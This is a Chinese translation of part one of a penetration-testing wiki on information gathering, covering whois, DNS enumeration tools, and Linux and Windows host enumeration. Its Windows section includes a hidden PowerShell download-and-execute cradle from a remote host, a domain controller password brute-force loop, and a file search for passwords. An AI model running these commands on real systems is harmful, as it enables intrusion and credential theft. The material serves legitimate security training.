渗透测试 维基百科第一部分 信息收集 Pentest

0x01 前言

前段时间github上看到pentest wiki这个项目，于是就想折腾一下和几个基友一起把这个wiki翻译一波，对于刚入门的安全人员还是比较友好的，因为篇幅原因，先发出第一部分：

Part 1 信息收集

├─信息收集
│  ├─README
│  ├─如何收集whois信息 
│  └─如何收集dns信息
│  ├─Linux下的信息收集
│  └─Windows下的信息收集

信息收集

在信息收集阶段，您将通过使用社交媒体网络，Google黑客攻击，目标活动足迹等渠道收集关于您正在攻击的目标的一切信息。渗透测试人员所能掌握的最重要的技能之一就是了解目标的能力，包括目标的行为，操作方式以及最终如何被攻击。您收集的有关您的目标的信息将为您提供有关安全控制类型的宝贵信息。

在信息收集期间，您将尝试通过慢慢地开始探索其系统来确定目标上的保护机制。例如，一个组通常只允许面向外部设备的某个端口子集上的流量，如果您在除白名单端口以外的任何其他组查询该组，则将被阻止。通过最初从您阻止或检测到的可消耗IP地址进行探测来测试此行为通常是一个好主意。当您测试Web应用程序时也是如此，在某个阈值之后，Web应用程序防火墙会阻止您发出进一步的请求。要在这些测试中保持不被发现，您可以从IP地址范围执行您的初始扫描，这些扫描不能链接回您和您的团队。通常情况下，在互联网上有外部存在的机构每天都会遇到攻击，你的初始探测可能会被归类于无关信息的一部分。信息收集

如何收集whois信息

• Whois搜索
• 查询Whois数据库

关于whois的信息以及攻击者如何使用这些信息，将使用whois记录中显示的信息来应对不知情的组织成员，领导和员工。 本文档涉及到windows的whois信息收集，针对的是Linux / Unix用户比Windows更多。

Whois搜索 信息收集

简单说，whois就是一个用来查询域名是否已经被注册，以及注册域名的详细信息的数据库（如域名所有人、域名注册商）。通过whois来实现对域名信息的查询、然而，whois信息也可以帮助攻击者获取信息，帮助成功渗透进入网络。

查询Whois数据库 信息收集

whois查询将返回有关目标公司的信息。 使用这种类型的查询，您还可以搜索与目标公司关联的其他实体。 要对远程主机执行whois查询，攻击者将发出以下命令whois baidu.com，该输出将产生以下数据：

root@wing:~# whois baidu.com
   Domain Name: BAIDU.COM
   Registry Domain ID: 11181110_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.markmonitor.com
   Registrar URL: http://www.markmonitor.com
   Updated Date: 2017-07-28T02:36:28Z
   Creation Date: 1999-10-11T11:05:17Z
   Registry Expiry Date: 2026-10-11T11:05:17Z
   Registrar: MarkMonitor Inc.
   Registrar IANA ID: 292
   Registrar Abuse Contact Email: [email protected]
   Registrar Abuse Contact Phone: +1.2083895740
   Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
   Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
   Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
   Domain Status: serverDeleteProhibited https://icann.org/epp#serverDeleteProhibited
   Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
   Domain Status: serverUpdateProhibited https://icann.org/epp#serverUpdateProhibited
   Name Server: DNS.BAIDU.COM
   Name Server: NS2.BAIDU.COM
   Name Server: NS3.BAIDU.COM
   Name Server: NS4.BAIDU.COM
   Name Server: NS7.BAIDU.COM
   DNSSEC: unsigned
   URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2017-12-10T07:03:24Z <<<

For more information on Whois status codes, please visit https://icann.org/epp

NOTICE: The expiration date displayed in this record is the date the
registrar's sponsorship of the domain name registration in the registry is
currently set to expire. This date does not necessarily reflect the expiration
date of the domain name registrant's agreement with the sponsoring
registrar.  Users may consult the sponsoring registrar's Whois database to
view the registrar's reported date of expiration for this registration.

TERMS OF USE: You are not authorized to access or query our Whois
database through the use of electronic processes that are high-volume and
automated except as reasonably necessary to register domain names or
modify existing registrations; the Data in VeriSign Global Registry
Services' ("VeriSign") Whois database is provided by VeriSign for
information purposes only, and to assist persons in obtaining information
about or related to a domain name registration record. VeriSign does not
guarantee its accuracy. By submitting a Whois query, you agree to abide
by the following terms of use: You agree that you may use this Data only
for lawful purposes and that under no circumstances will you use this Data
to: (1) allow, enable, or otherwise support the transmission of mass
unsolicited, commercial advertising or solicitations via e-mail, telephone,
or facsimile; or (2) enable high volume, automated, electronic processes
that apply to VeriSign (or its computer systems). The compilation,
repackaging, dissemination or other use of this Data is expressly
prohibited without the prior written consent of VeriSign. You agree not to
use electronic processes that are automated and high-volume to access or
query the Whois database except as reasonably necessary to register
domain names or modify existing registrations. VeriSign reserves the right
to restrict your access to the Whois database in its sole discretion to ensure
operational stability.  VeriSign may restrict or terminate your access to the
Whois database for failure to abide by these terms of use. VeriSign
reserves the right to modify these terms at any time.

The Registry database contains ONLY .COM, .NET, .EDU domains and
Registrars.

我们将从一开始就提到每个部分，最后完成A到D.然后，我们将更详细地了解每个部分，说明每个部分如何影响安全性，以及攻击者如何将这些信息关联形成目标详尽的概况; 以及有关内部网络的其他细节，以及组织的结构，以准备渗透。 但是，在深入研究whois部分显示的信息之前，我们将描述可以通过哪些whois搜索去查询一个域名的信息。 下面的图表显示了查询世界上每个地区有关whois查询的信息。

可以从whois查询返回并滥用的附加信息如下：

whois收集和挖掘额外的数据：

如何收集dns信息

• 被动模式
  • DNS 枚举
  • OSINT(公开情报)
• 进攻模式
  -爬行网站
• 工具
  • recon-ng
  • dnsrecon
  • theHarvester

被动模式

DNS 枚举

DNS 枚举 是查找组织的所有DNS服务器及其相应记录的过程。 公司可能同时拥有内部和外部DNS服务器，可以产生用户名，计算机名称和潜在目标系统的IP地址等信息。 有很多工具可以用来获取执行DNS枚举的信息。 可用于DNS枚举的工具的例子是NSlookup，DNSstuff，美国互联网号码注册局（ARIN）和Whois。 要枚举DNS，您必须了解DNS及其工作原理.

你必须知道DNS记录的知识。 DNS记录列表提供了存储在域名系统（DNS）的区域文件中的资源记录类型（数据库记录）的概述。 DNS实现分布式，分层和冗余数据库，用于与Internet域名和地址相关的信息。 在这些域服务器中，不同的记录类型用于不同的目的。 以下列表介绍常见的DNS记录类型及其用法：

OSINT

主动攻击模式 信息收集

攻击模式	方法	                         描述
Websites	Spider default page	扫描默认页面和爬取目标站点
Websites	Certificates	扫描域名证书
Tools
recon-ng 命令	Description
use recon/domains-hosts/baidu_site	通过baidu搜索域名
use recon/domains-hosts/bing_domain_api	通过bing api搜索域名
use recon/domains-hosts/bing_domain_web	通过bing web pages搜索域名
use recon/domains-hosts/brute_hosts	爆破子域名
use recon/domains-hosts/google_site_api	通过google api搜索域名
use recon/domains-hosts/google_site_web	通过 google web pages 搜索域名.
use recon/domains-hosts/netcraft	Search domains from netcraft pages.
dnsrecon 命令	Description
dnsrecon -n 8.8.8.8 -d demo.com	请使用有效的DNS服务器，以避免DNS伪造。
dnsrecon -d demo.com -t std	SOA，NS，A，AAAA，MX和SRV（如果NS服务器上的AXRF失败）。
dnsrecon -d demo.com -t rvl	反向查找给定的CIDR或IP范围。
dnsrecon -d demo.com -t brt -D /path/to/subdomains.wd	使用之指定字典爆破域名和hosts.
dnsrecon -d demo.com -t brt -D /path/to/subdomains.wd --iw	使用指定目录字典暴力破解域名，即使发现了目录，依然继续暴力破解
dnsrecon -d demo.com -t srv	SRV 记录
dnsrecon -d demo.com -t axfr	为空间转移测试所有NS服务器.
dnsrecon -d demo.com -t goo	通过google搜索存活子域和主机.
dnsrecon -d demo.com -t tld	删除给定域的TLD，并针对在IANA中注册的所有TLD进行测试
dnsrecon -d demo.com -t zonewalk	使用NSEC记录执行DNSSEC区域漫游。
dnsrecon -d demo.com --db /path/to/results.sqlite	将结果保存在一个sqlite文件中
dnsrecon -d demo.com --xml /path/to/results.xml	将结果保存在一个xml文件中。
dnsrecon -d demo.com -c /path/to/results.csv	将结果保存在一个csv文件中。
dnsrecon -d demo.com -j /path/to/results.json	将结果保存在一个json文件中。
theHarvester Command	说明
theharvester -d demo.com -b all	通过 google, googleCSE, bing, bingapi, pgp, linkedin,google-profiles, jigsaw, twitter, googleplus,等方法来查询目标信息
theharvester -d demo.com -n	对发现的所有网段执行DNS反向查询
theharvester -d demo.com -c	对域名执行DNS爆破
theharvester -d demo.com -t	执行DNS TLD扩展发现
theharvester -d demo.com -e 8.8.8.8	指定一个DNS服务器
theharvester -d demo.com -h	使用SHODAN数据库查询已发现的主机
Metasploit Command	说明
msf > use auxiliary/gather/enum_dns	收集dns记录信息(A, AAAA, CNAME, ZoneTransfer, SRV, TLD, RVL, ...)

Tools

recon-ng 命令	 Description
use recon/domains-hosts/baidu_site	通过baidu搜索域名
use recon/domains-hosts/bing_domain_api	通过bing api搜索域名
use recon/domains-hosts/bing_domain_web	通过bing web pages搜索域名
use recon/domains-hosts/brute_hosts	爆破子域名
use recon/domains-hosts/google_site_api	通过google api搜索域名
use recon/domains-hosts/google_site_web	通过 google web pages 搜索域名.
use recon/domains-hosts/netcraft	Search domains from netcraft pages.

相关链接

• https://en.wikipedia.org/wiki/List_of_DNS_record_types
• https://www.exploit-db.com/docs/12389.pdf
• https://pentestlab.blog/tag/dns-enumeration/
• http://tools.kali.org/information-gathering/dnsrecon
• https://github.com/nixawk/ig/

Linux下的信息收集

系统架构

相关命令及说明

• uname -a ： uname命令报告有关计算机的软件和硬件的基本信息。

• cat /etc/issue ：文件/ etc / issue是一个文本文件，其中包含要在登录提示之前打印的消息或系统标识。

• cat /etc/*-release ：/etc/lsb-release, /etc/redhat-release 文件包含一个被解析以获取信息的描述行。 例如：“分销商版本x.x（代号）”

• cat /proc/version ：/ proc/version指定了Linux内核的版本，用于编译内核的gcc的版本以及内核编译的时间。 它还包含内核编译器的用户名。

• cat /proc/sys/kernel/version ：/proc/sys/kerne /中的文件可以用来调整和监视Linux内核操作中的各种活动 信息收集

进程

• ps -ef /ps aux : 列出当前进程快照

• top: top命令显示您的Linux机器的处理器活动，并显示实时管理的任务。 它会显示正在使用的处理器和内存以及运行进程等其他信息。

• ls -al /proc/: /proc是非常特殊的，它也是一个虚拟文件系统。 它有时被称为过程信息伪文件系统。 它不包含“真实”文件，而是包含运行时系统信息（例如系统内存，安装的设备，硬件配置等）。
  

• ls -al /proc/99 :查看关于PID 99的信息.
  

用户和组

服务

安全

Command	Description
iptables -L	列出所有规则链。
iptables -F	删除选定规则链中的所有规则.
iptables -A INPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT	请执行iptables -p icmp --help 获得更多信息.
iptables -A INPUT -p tcp -m tcp --sport 80 -m state --state RELATED,ESTABLISHED -j ACCEPT	允许来自src端口80的tcp连接
iptables -A OUTPUT -p tcp -m tcp --dport 80 -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT	允许 从/到 dst 端口80的TCP连接.
iptables -A INPUT -p udp -m udp --sport 53 -m state --state RELATED,ESTABLISHED -j ACCEPT	允许来自src端口80的udp连接
iptables -A OUTPUT -p udp -m udp --dport 53 -m state --state NEW,RELATED,ESTABLISHED -j ACCEPT	允许从/到 dst 端口53的udp连接.
iptables -A OUTPUT -p tcp -m tcp --sport 55552 -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT<BR>iptables -A OUTPUT -p tcp -m tcp --dport 55552 -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT	允许本地主机连接到 localhost:55552

网络

文件系统

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null

for i in locate -r "bin$"; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

find / ( -perm -o w -perm -o x ) -type d 2>/dev/null

find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print

程序

相关链接

1. https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
2. https://github.com/CISOfy/lynis
3. https://github.com/rebootuser/LinEnum
4. https://github.com/nixawk/metasploit-modules/blob/master/.msf4/modules/post/linux/gather/enum_linux.rb
5. http://www.iptables.org/documentation/
6. http://packetlife.net/media/library/12/tcpdump.pdf

windows下的信息收集

系统架构

进程

tasklist /FI "IMAGENAME eq cmd.exe"

tasklist /FI "PID ne 0"

用户和组

信息收集

net group "Domain Policy Creator Owners" /domain

服务

sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys

系统安全 信息收集

网络

wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt"

powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://ip:port/[file]'))"

powershell.exe -w hidden -nop -ep bypass -c "(new-object net.webclient).DownloadFile('http://ip:port/file', 'C:\Windows\temp\testfile')"

文件系统

wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber

@FOR /F %n in (users.txt) DO @FOR /F %p in (pass.txt) DO @net use \\DomainController\IPC$ /user:<DomainName>\%n %p 1>NUL 2>&1 && @echo [*] %n:%p &&

FOR /F %f in ('dir /b /s C:\') do find /I "password" %f

启动和关闭 信息收集

from 原文(英文)